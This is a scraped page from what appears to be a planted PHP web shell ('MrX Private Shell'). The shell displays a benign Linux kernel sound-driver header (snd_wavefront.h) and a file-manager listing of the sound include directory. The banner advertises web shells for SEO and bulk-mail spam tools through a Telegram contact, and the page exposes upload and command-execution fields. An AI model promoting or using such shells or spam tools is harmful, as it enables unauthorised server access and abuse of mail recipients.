__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __SOUND_SND_WAVEFRONT_H__
#define __SOUND_SND_WAVEFRONT_H__

#include <sound/mpu401.h>
#include <sound/hwdep.h>
#include <sound/rawmidi.h>
#include <sound/wavefront.h>  /* generic OSS/ALSA/user-level wavefront header */

/* MIDI interface */

struct _snd_wavefront_midi;
struct _snd_wavefront_card;
struct _snd_wavefront;

typedef struct _snd_wavefront_midi snd_wavefront_midi_t;
typedef struct _snd_wavefront_card snd_wavefront_card_t;
typedef struct _snd_wavefront snd_wavefront_t;

typedef enum { internal_mpu = 0, external_mpu = 1 } snd_wavefront_mpu_id;

struct _snd_wavefront_midi {
        unsigned long            base;        /* I/O port address */
	char                     isvirtual;   /* doing virtual MIDI stuff ? */
	char			 istimer;     /* timer is used */
        snd_wavefront_mpu_id     output_mpu;  /* most-recently-used */
        snd_wavefront_mpu_id     input_mpu;   /* most-recently-used */
        unsigned int             mode[2];     /* MPU401_MODE_XXX */
	struct snd_rawmidi_substream	 *substream_output[2];
	struct snd_rawmidi_substream	 *substream_input[2];
	struct timer_list	 timer;
	snd_wavefront_card_t	 *timer_card;
        spinlock_t               open;
        spinlock_t               virtual;     /* protects isvirtual */
};

#define	OUTPUT_READY	0x40
#define	INPUT_AVAIL	0x80
#define	MPU_ACK		0xFE
#define	UART_MODE_ON	0x3F

extern const struct snd_rawmidi_ops snd_wavefront_midi_output;
extern const struct snd_rawmidi_ops snd_wavefront_midi_input;

extern void   snd_wavefront_midi_enable_virtual (snd_wavefront_card_t *);
extern void   snd_wavefront_midi_disable_virtual (snd_wavefront_card_t *);
extern void   snd_wavefront_midi_interrupt (snd_wavefront_card_t *);
extern int    snd_wavefront_midi_start (snd_wavefront_card_t *);

struct _snd_wavefront {
	unsigned long    irq;   /* "you were one, one of the few ..." */
	unsigned long    base;  /* low i/o port address */
	struct resource	 *res_base; /* i/o port resource allocation */

#define mpu_data_port    base 
#define mpu_command_port base + 1 /* write semantics */
#define mpu_status_port  base + 1 /* read semantics */
#define data_port        base + 2 
#define status_port      base + 3 /* read semantics */
#define control_port     base + 3 /* write semantics  */
#define block_port       base + 4 /* 16 bit, writeonly */
#define last_block_port  base + 6 /* 16 bit, writeonly */

	/* FX ports. These are mapped through the ICS2115 to the YS225.
	   The ICS2115 takes care of flipping the relevant pins on the
	   YS225 so that access to each of these ports does the right
	   thing. Note: these are NOT documented by Turtle Beach.
	*/

#define fx_status       base + 8 
#define fx_op           base + 8 
#define fx_lcr          base + 9 
#define fx_dsp_addr     base + 0xa
#define fx_dsp_page     base + 0xb 
#define fx_dsp_lsb      base + 0xc 
#define fx_dsp_msb      base + 0xd 
#define fx_mod_addr     base + 0xe
#define fx_mod_data     base + 0xf 

	volatile int irq_ok;               /* set by interrupt handler */
        volatile int irq_cnt;              /* ditto */
	char debug;                        /* debugging flags */
	int freemem;                       /* installed RAM, in bytes */ 

	char fw_version[2];                /* major = [0], minor = [1] */
	char hw_version[2];                /* major = [0], minor = [1] */
	char israw;                        /* needs Motorola microcode */
	char has_fx;                       /* has FX processor (Tropez+) */
	char fx_initialized;               /* FX's register pages initialized */
	char prog_status[WF_MAX_PROGRAM];  /* WF_SLOT_* */
	char patch_status[WF_MAX_PATCH];   /* WF_SLOT_* */
	char sample_status[WF_MAX_SAMPLE]; /* WF_ST_* | WF_SLOT_* */
	int samples_used;                  /* how many */
	char interrupts_are_midi;          /* h/w MPU interrupts enabled ? */
	char rom_samples_rdonly;           /* can we write on ROM samples */
	spinlock_t irq_lock;
	wait_queue_head_t interrupt_sleeper; 
	snd_wavefront_midi_t midi;         /* ICS2115 MIDI interface */
	struct snd_card *card;
};

struct _snd_wavefront_card {
	snd_wavefront_t wavefront;
#ifdef CONFIG_PNP
	struct pnp_dev *wss;
	struct pnp_dev *ctrl;
	struct pnp_dev *mpu;
	struct pnp_dev *synth;
#endif /* CONFIG_PNP */
};

extern void snd_wavefront_internal_interrupt (snd_wavefront_card_t *card);
extern int  snd_wavefront_detect_irq (snd_wavefront_t *dev) ;
extern int  snd_wavefront_check_irq (snd_wavefront_t *dev, int irq);
extern int  snd_wavefront_restart (snd_wavefront_t *dev);
extern int  snd_wavefront_start (snd_wavefront_t *dev);
extern int  snd_wavefront_detect (snd_wavefront_card_t *card);
extern int  snd_wavefront_config_midi (snd_wavefront_t *dev) ;
extern int  snd_wavefront_cmd (snd_wavefront_t *, int, unsigned char *,
			       unsigned char *);

extern int snd_wavefront_synth_ioctl   (struct snd_hwdep *, 
					struct file *,
					unsigned int cmd, 
					unsigned long arg);
extern int  snd_wavefront_synth_open    (struct snd_hwdep *, struct file *);
extern int  snd_wavefront_synth_release (struct snd_hwdep *, struct file *);

/* FX processor - see also yss225.[ch] */

extern int  snd_wavefront_fx_start  (snd_wavefront_t *);
extern int  snd_wavefront_fx_detect (snd_wavefront_t *);
extern int  snd_wavefront_fx_ioctl  (struct snd_hwdep *, 
				     struct file *,
				     unsigned int cmd, 
				     unsigned long arg);
extern int snd_wavefront_fx_open    (struct snd_hwdep *, struct file *);
extern int snd_wavefront_fx_release (struct snd_hwdep *, struct file *);

#endif  /* __SOUND_SND_WAVEFRONT_H__ */

Filemanager

Name Type Size Permission Actions
ac97 Folder 0755
sof Folder 0755
ac97_codec.h File 15.8 KB 0644
aci.h File 2.42 KB 0644
acp63_chip_offset_byte.h File 29.75 KB 0644
ad1816a.h File 4.73 KB 0644
ad1843.h File 1.48 KB 0644
ak4113.h File 10.22 KB 0644
ak4114.h File 9.54 KB 0644
ak4117.h File 8.34 KB 0644
ak4531_codec.h File 2.56 KB 0644
ak4641.h File 476 B 0644
ak4xxx-adda.h File 2.66 KB 0644
alc5623.h File 536 B 0644
asequencer.h File 3.06 KB 0644
asound.h File 590 B 0644
asoundef.h File 16.27 KB 0644
compress_driver.h File 9.49 KB 0644
control.h File 10.56 KB 0644
core.h File 14.07 KB 0644
cs-amp-lib.h File 1.69 KB 0644
cs35l33.h File 888 B 0644
cs35l34.h File 741 B 0644
cs35l35.h File 2.21 KB 0644
cs35l36.h File 772 B 0644
cs35l41.h File 34.33 KB 0644
cs35l56.h File 11.72 KB 0644
cs4231-regs.h File 7.6 KB 0644
cs4271.h File 906 B 0644
cs42l42.h File 34.47 KB 0644
cs42l43.h File 385 B 0644
cs42l52.h File 592 B 0644
cs42l56.h File 1.02 KB 0644
cs42l73.h File 361 B 0644
cs8403.h File 7.95 KB 0644
cs8427.h File 9.72 KB 0644
da7213.h File 1.01 KB 0644
da7218.h File 2.41 KB 0644
da7219-aad.h File 2.37 KB 0644
da7219.h File 998 B 0644
da9055.h File 707 B 0644
designware_i2s.h File 1.66 KB 0644
dmaengine_pcm.h File 6.78 KB 0644
emu10k1.h File 94.74 KB 0644
emu10k1_synth.h File 693 B 0644
emu8000.h File 3.25 KB 0644
emu8000_reg.h File 9.54 KB 0644
emux_legacy.h File 4.7 KB 0644
emux_synth.h File 6.78 KB 0644
es1688.h File 2.88 KB 0644
graph_card.h File 1.04 KB 0644
gus.h File 19.65 KB 0644
hda-mlink.h File 6.32 KB 0644
hda_chmap.h File 2.6 KB 0644
hda_codec.h File 17.49 KB 0644
hda_component.h File 2.04 KB 0644
hda_hwdep.h File 736 B 0644
hda_i915.h File 589 B 0644
hda_register.h File 11.98 KB 0644
hda_regmap.h File 6.77 KB 0644
hda_verbs.h File 16.88 KB 0644
hdaudio.h File 24.57 KB 0644
hdaudio_ext.h File 4.84 KB 0644
hdmi-codec.h File 3.01 KB 0644
hwdep.h File 1.88 KB 0644
i2c.h File 2.79 KB 0644
info.h File 7.75 KB 0644
initval.h File 2.43 KB 0644
intel-dsp-config.h File 896 B 0644
intel-nhlt.h File 4.01 KB 0644
jack.h File 3.1 KB 0644
madera-pdata.h File 1.95 KB 0644
max9768.h File 544 B 0644
max98088.h File 1.05 KB 0644
max98090.h File 534 B 0644
max98095.h File 1.33 KB 0644
memalloc.h File 3.62 KB 0644
minors.h File 3.65 KB 0644
mixer_oss.h File 1.73 KB 0644
mpu401.h File 3.81 KB 0644
omap-hdmi-audio.h File 971 B 0644
opl3.h File 11.62 KB 0644
opl4.h File 459 B 0644
pcm-indirect.h File 5.18 KB 0644
pcm.h File 53.57 KB 0644
pcm_drm_eld.h File 183 B 0644
pcm_iec958.h File 597 B 0644
pcm_oss.h File 2.01 KB 0644
pcm_params.h File 8.72 KB 0644
pt2258.h File 513 B 0644
pxa2xx-lib.h File 2.25 KB 0644
rawmidi.h File 6.37 KB 0644
rt1015.h File 283 B 0644
rt1318.h File 303 B 0644
rt286.h File 314 B 0644
rt298.h File 373 B 0644
rt5514.h File 399 B 0644
rt5659.h File 880 B 0644
rt5660.h File 578 B 0644
rt5663.h File 476 B 0644
rt5665.h File 723 B 0644
rt5668.h File 607 B 0644
rt5682.h File 862 B 0644
rt5682s.h File 1.01 KB 0644
sb.h File 10.43 KB 0644
sb16_csp.h File 2.05 KB 0644
sdca.h File 1.66 KB 0644
sdca_function.h File 3.05 KB 0644
sdw.h File 1.63 KB 0644
seq_device.h File 2.16 KB 0644
seq_kernel.h File 3.51 KB 0644
seq_midi_emul.h File 6.6 KB 0644
seq_midi_event.h File 1.32 KB 0644
seq_oss.h File 2.21 KB 0644
seq_oss_legacy.h File 360 B 0644
seq_virmidi.h File 2.07 KB 0644
sh_dac_audio.h File 441 B 0644
sh_fsi.h File 693 B 0644
simple_card.h File 524 B 0644
simple_card_utils.h File 9.38 KB 0644
snd_wavefront.h File 5.49 KB 0644
soc-acpi-intel-match.h File 2.61 KB 0644
soc-acpi-intel-ssp-common.h File 1.88 KB 0644
soc-acpi.h File 8.46 KB 0644
soc-card.h File 3.45 KB 0644
soc-component.h File 20.23 KB 0644
soc-dai.h File 20.72 KB 0644
soc-dapm.h File 33.46 KB 0644
soc-dpcm.h File 4.82 KB 0644
soc-jack.h File 3.68 KB 0644
soc-link.h File 1.14 KB 0644
soc-topology.h File 5.75 KB 0644
soc.h File 54.82 KB 0644
soc_sdw_utils.h File 9.05 KB 0644
sof.h File 4.58 KB 0644
soundfont.h File 3.86 KB 0644
spear_dma.h File 350 B 0644
spear_spdif.h File 345 B 0644
sta32x.h File 1015 B 0644
sta350.h File 1.44 KB 0644
tas2552-plat.h File 283 B 0644
tas2563-tlv.h File 11.37 KB 0644
tas2781-dsp.h File 4.85 KB 0644
tas2781-tlv.h File 594 B 0644
tas2781.h File 7.98 KB 0644
tas5086.h File 210 B 0644
tea6330t.h File 468 B 0644
timer.h File 4.99 KB 0644
tlv.h File 1.59 KB 0644
tlv320aic32x4.h File 1.29 KB 0644
tlv320dac33-plat.h File 574 B 0644
tpa6130a2-plat.h File 291 B 0644
uda1380.h File 335 B 0644
ump.h File 8.24 KB 0644
ump_convert.h File 1.25 KB 0644
ump_msg.h File 13.81 KB 0644
util_mem.h File 1.58 KB 0644
vx_core.h File 14.68 KB 0644
wavefront.h File 16.32 KB 0644
wm0010.h File 321 B 0644
wm2000.h File 479 B 0644
wm2200.h File 1.21 KB 0644
wm5100.h File 935 B 0644
wm8903.h File 15.02 KB 0644
wm8904.h File 7.22 KB 0644
wm8955.h File 442 B 0644
wm8960.h File 888 B 0644
wm8962.h File 1.65 KB 0644
wm8993.h File 1.05 KB 0644
wm8996.h File 1.19 KB 0644
wm9081.h File 515 B 0644
wm9090.h File 634 B 0644
wss.h File 7.76 KB 0644
Filemanager